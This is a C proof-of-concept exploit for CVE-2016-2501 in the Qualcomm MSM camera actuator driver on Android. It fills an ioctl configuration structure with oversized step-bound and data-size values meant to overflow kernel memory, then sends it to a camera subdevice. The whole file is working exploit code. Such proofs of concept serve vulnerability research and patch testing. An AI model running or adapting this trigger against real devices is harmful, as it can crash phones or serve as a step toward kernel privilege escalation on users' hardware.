CVE-2016-2501.c

/** CVE-2016-2501.c
 *
 * https://code.google.com/p/android/issues/detail?id=205200
 * https://android.googlesource.com/kernel/msm.git/+/android-msm-bullhead-3.10-n-preview-1/drivers/media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c#925
 * https://www.codeaurora.org/elevation-privilege-vulnerability-msm-camera-driver-cve-2016-2501
 *
 */

#include <stdlib.h>
#include <stdio.h>
#include <stdbool.h>
#include <strings.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <fcntl.h>

#define MAX_NUMBER_OF_STEPS 47

enum msm_actuator_cfg_type_t {
        CFG_GET_ACTUATOR_INFO,
        CFG_SET_ACTUATOR_INFO,
        CFG_SET_DEFAULT_FOCUS,
        CFG_MOVE_FOCUS,
        CFG_SET_POSITION,
        CFG_ACTUATOR_POWERDOWN,
        CFG_ACTUATOR_POWERUP,
        CFG_ACTUATOR_INIT,
};


enum actuator_type {
        ACTUATOR_VCM,
        ACTUATOR_PIEZO,
        ACTUATOR_HVCM,
        ACTUATOR_BIVCM,
};

enum msm_actuator_addr_type {
        MSM_ACTUATOR_BYTE_ADDR = 1,
        MSM_ACTUATOR_WORD_ADDR,
};

enum msm_actuator_data_type {
        MSM_ACTUATOR_BYTE_DATA = 1,
        MSM_ACTUATOR_WORD_DATA,
};

enum msm_actuator_write_type {
        MSM_ACTUATOR_WRITE_HW_DAMP,
        MSM_ACTUATOR_WRITE_DAC,
        MSM_ACTUATOR_WRITE,
        MSM_ACTUATOR_WRITE_DIR_REG,
        MSM_ACTUATOR_POLL,
        MSM_ACTUATOR_READ_WRITE,
};

struct msm_actuator_reg_params_t {
        enum msm_actuator_write_type reg_write_type;
        uint32_t hw_mask;
        uint16_t reg_addr;
        uint16_t hw_shift;
        uint16_t data_type;
        uint16_t addr_type;
        uint16_t reg_data;
        uint16_t delay;
};

struct reg_settings_t {
        uint16_t reg_addr;
        uint16_t reg_data;
};
struct park_lens_data_t {
        uint32_t damping_step;
        uint32_t damping_delay;
        uint32_t hw_params;
        uint32_t max_step;
};

struct region_params_t {
        /* [0] = ForwardDirection Macro boundary
           [1] = ReverseDirection Inf boundar
	*/
        uint16_t step_bound[2];
        uint16_t code_per_step;
        unsigned int qvalue;
};

struct msm_actuator_tuning_params_t {
        int16_t initial_code;
        uint16_t pwd_step;
        uint16_t region_size;
        uint32_t total_steps;
        struct region_params_t *region_params;
};


struct msm_actuator_params_t {
        enum actuator_type act_type;
        uint8_t reg_tbl_size;
        uint16_t data_size;
        uint16_t init_setting_size;
        uint32_t i2c_addr;
        enum msm_actuator_addr_type i2c_addr_type;
        enum msm_actuator_data_type i2c_data_type;
        struct msm_actuator_reg_params_t *reg_tbl_params;
        struct reg_settings_t *init_settings;
        struct park_lens_data_t park_lens;
};


struct msm_actuator_set_info_t {
        struct msm_actuator_params_t actuator_params;
        struct msm_actuator_tuning_params_t af_tuning_params;
};


struct damping_params_t {
        uint32_t damping_step;
        uint32_t damping_delay;
        uint32_t hw_params;
};

struct msm_actuator_move_params_t {
	        int8_t dir;
	        int8_t sign_dir;
	        int16_t dest_step_pos;
	        int32_t num_steps;
	        uint16_t curr_lens_pos;
	        struct damping_params_t *ringing_params;
};

struct msm_actuator_get_info_t {
        uint32_t focal_length_num;
        uint32_t focal_length_den;
        uint32_t f_number_num;
        uint32_t f_number_den;
        uint32_t f_pix_num;
        uint32_t f_pix_den;
        uint32_t total_f_dist_num;
        uint32_t total_f_dist_den;
        uint32_t hor_view_angle_num;
        uint32_t hor_view_angle_den;
        uint32_t ver_view_angle_num;
        uint32_t ver_view_angle_den;
};

struct msm_actuator_set_position_t {
        uint16_t number_of_steps;
        uint32_t hw_params;
        uint16_t pos[MAX_NUMBER_OF_STEPS];
        uint16_t delay[MAX_NUMBER_OF_STEPS];
};

enum af_camera_name {
        ACTUATOR_MAIN_CAM_0,
        ACTUATOR_MAIN_CAM_1,
        ACTUATOR_MAIN_CAM_2,
        ACTUATOR_MAIN_CAM_3,
        ACTUATOR_MAIN_CAM_4,
        ACTUATOR_MAIN_CAM_5,
        ACTUATOR_WEB_CAM_0,
        ACTUATOR_WEB_CAM_1,
        ACTUATOR_WEB_CAM_2,
};

struct msm_actuator_cfg_data {
        int cfgtype;
        uint8_t is_af_supported;
        union {
                struct msm_actuator_move_params_t move;
                struct msm_actuator_set_info_t set_info;
                struct msm_actuator_get_info_t get_info;
                struct msm_actuator_set_position_t setpos;
                enum af_camera_name cam_name;
        } cfg;
};

#define BASE_VIDIOC_PRIVATE      192
#define MAX_ACTUATOR_REG_TBL_SIZE 8
#define MAX_ACTUATOR_AF_TOTAL_STEPS 1024
#define MAX_ACTUATOR_REGION 5

#define VIDIOC_MSM_ACTUATOR_CFG \
        _IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_actuator_cfg_data)



static void setup_struct_for_overflow(struct msm_actuator_cfg_data *data)
{
	int i;
	struct msm_actuator_set_info_t *set_info = &data->cfg.set_info;
	data->cfgtype = CFG_SET_ACTUATOR_INFO;

	/* Set up some vars to pass checks on lines:
	   1127
	   1133
	*/
	/* 5 */
	set_info->af_tuning_params.total_steps = 0;
	/* 4 */
	set_info->af_tuning_params.region_size = MAX_ACTUATOR_REGION - 1;

	set_info->af_tuning_params.region_params =
		mmap(NULL, sizeof(struct region_params_t) * 4, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0);


	if (set_info->af_tuning_params.region_params == MAP_FAILED) {
		printf("failed to mmap region params with %s\n", strerror(errno));
		exit(EXIT_FAILURE);
	}


	/* setup params to pass check on line 1162 */
	/* 1 */
	set_info->actuator_params.reg_tbl_size = MAX_ACTUATOR_REG_TBL_SIZE - 7;

	set_info->actuator_params.reg_tbl_params =
		mmap(NULL, sizeof(struct msm_actuator_reg_params_t) * 1,
		     PROT_READ|PROT_WRITE,
		     MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0);

	if (set_info->actuator_params.reg_tbl_params == MAP_FAILED) {
		munmap(set_info->af_tuning_params.region_params,
		       sizeof(struct region_params_t) * 4);
		printf("Failed to mmap tbl_params with %s\n", strerror(errno));
		exit(EXIT_FAILURE);
	}

	/*
	set_info->actuator_params.init_setting_size = 1;

	set_info->actuator_params.init_settings =
		mmap(NULL, sizeof(struct reg_settings_t) * 1,
		     PROT_READ|PROT_WRITE,
		     MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0);

	if (set_info->actuator_params.init_settings == MAP_FAILED) {
		// todo munmap 
		printf("failed to mmap init_settings with %s\n", strerror(errno));
		exit(EXIT_FAILURE);
	}
	*/

	/* Above was just maintenance crap to get to the buggy function.
	 * Below is param setup to make the driver behave incorrect
	 */

	set_info->af_tuning_params.initial_code = 1;
	set_info->actuator_params.data_size = 0xffff; 
	for (i = 0; i < 4; i++) {
		/* set code per step.
		 * It gets cast to an int16_t in the driver it is our 
		 * "base"
		 */
		set_info->af_tuning_params.region_params[i].step_bound[0] = 0xffff;
		set_info->af_tuning_params.region_params[i].step_bound[1] = 0xffff;
		set_info->af_tuning_params.region_params[i].qvalue = 0;
		set_info->af_tuning_params.region_params[i].code_per_step = 1;

	}
}


int main(void)
{

	int i, fd;
	char subdev[36];

	//ioctl : VIDIOC_MSM_ACTUATOR_CFG
	struct msm_actuator_cfg_data data = { 0 };
	setup_struct_for_overflow(&data);
	//for (i = 0; i < 20; i++) {
	snprintf(subdev, sizeof(subdev), "/dev/v4l-subdev%d", 7);
	fd = open(subdev, O_RDWR);
	if (fd > 0) {
		printf("ioctl on %s\n", subdev);
		sleep(1);
		ioctl(fd, VIDIOC_MSM_ACTUATOR_CFG, &data);
		close(fd);
	} else
		printf("failed to open %s with errno %s\n", subdev, strerror(errno));
	//}
}